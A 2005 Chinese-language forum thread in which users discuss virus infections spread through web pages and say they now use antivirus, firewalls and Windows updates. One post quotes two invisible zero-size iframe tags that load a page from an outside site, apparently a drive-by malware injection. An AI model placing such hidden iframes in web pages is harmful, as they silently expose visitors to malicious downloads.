enzoferrari23
2005-05-18, 01:52 AM
http://km.e-080.com.tw/kms/ecapkm/DocMgr/ASP/DocManageMenu.asp?id=678&name=KA-6110%20(VIA%20Apollo%20PRO%20133)
http://img284.echo.cx/img284/1397/leo4wg.jpg (http://www.imageshack.us)
贊助商連結
minami
2005-05-18, 09:29 AM
<iframe width=0 height=0 src=http://www.szadk.com/new.htm></iframe><iframe width=0 height=0 src=http://www.szadk.com/new.htm>></iframe>
現在好像都是用這樣的方式....
softbrian
2005-05-18, 01:54 PM
該不會以後微軟為了"安全理由",會把ifram 功能取消?
唉~滿好用的說...
minami
2005-05-21, 06:20 PM
要完全沒有電腦病毒存在也很困難吧,這個散佈病毒的網址存在蠻久的了,雖然一開始的行徑頗含有政治意味就是...之前看過一篇文章,裡面曾有一段有提及真正完全沒有任何目的,只想要到肆意破壞的Cracker是少之又少 ^^"
以下是之前的圖片
http://www.pczone.com.tw/upload/002/8ae53e0e3f.jpg
http://www.pczone.com.tw/upload/002/b381e9e51f.jpg
不過也有一個部分要感謝這個人,因為中了毒,才讓我驚覺原來我的網際安全觀念竟然如此幼稚--還停留在只要不開啟郵件的附加檔案,不去一些有危險性的網站就能安全無虞的那種過去的觀念,所以什麼防毒軟體,防火牆我都可以不去管他...因為只是佔去我電腦的硬體資源而已。
唉...真蠢。
hiyawu
2005-05-23, 10:22 PM
要完全沒有電腦病毒存在也很困難吧,這個散佈病毒的網址存在蠻久的了,雖然一開始的行徑頗含有政治意味就是...之前看過一篇文章,裡面曾有一段有提及真正完全沒有任何目的,只想要到肆意破壞的Cracker是少之又少 ^^"
以下是之前的圖片
不過也有一個部分要感謝這個人,因為中了毒,才讓我驚覺原來我的網際安全觀念竟然如此幼稚--還停留在只要不開啟郵件的附加檔案,不去一些有危險性的網站就能安全無虞的那種過去的觀念,所以什麼防毒軟體,防火牆我都可以不去管他...因為只是佔去我電腦的硬體資源而已。
唉...真蠢。
現在知道了
就應該去做一些防備措施了
之前我也像你這樣
不過中了疾風+殺手
我才知道 原來微軟的修正檔是要時時更新的
也加強了防毒防火牆
:jump2: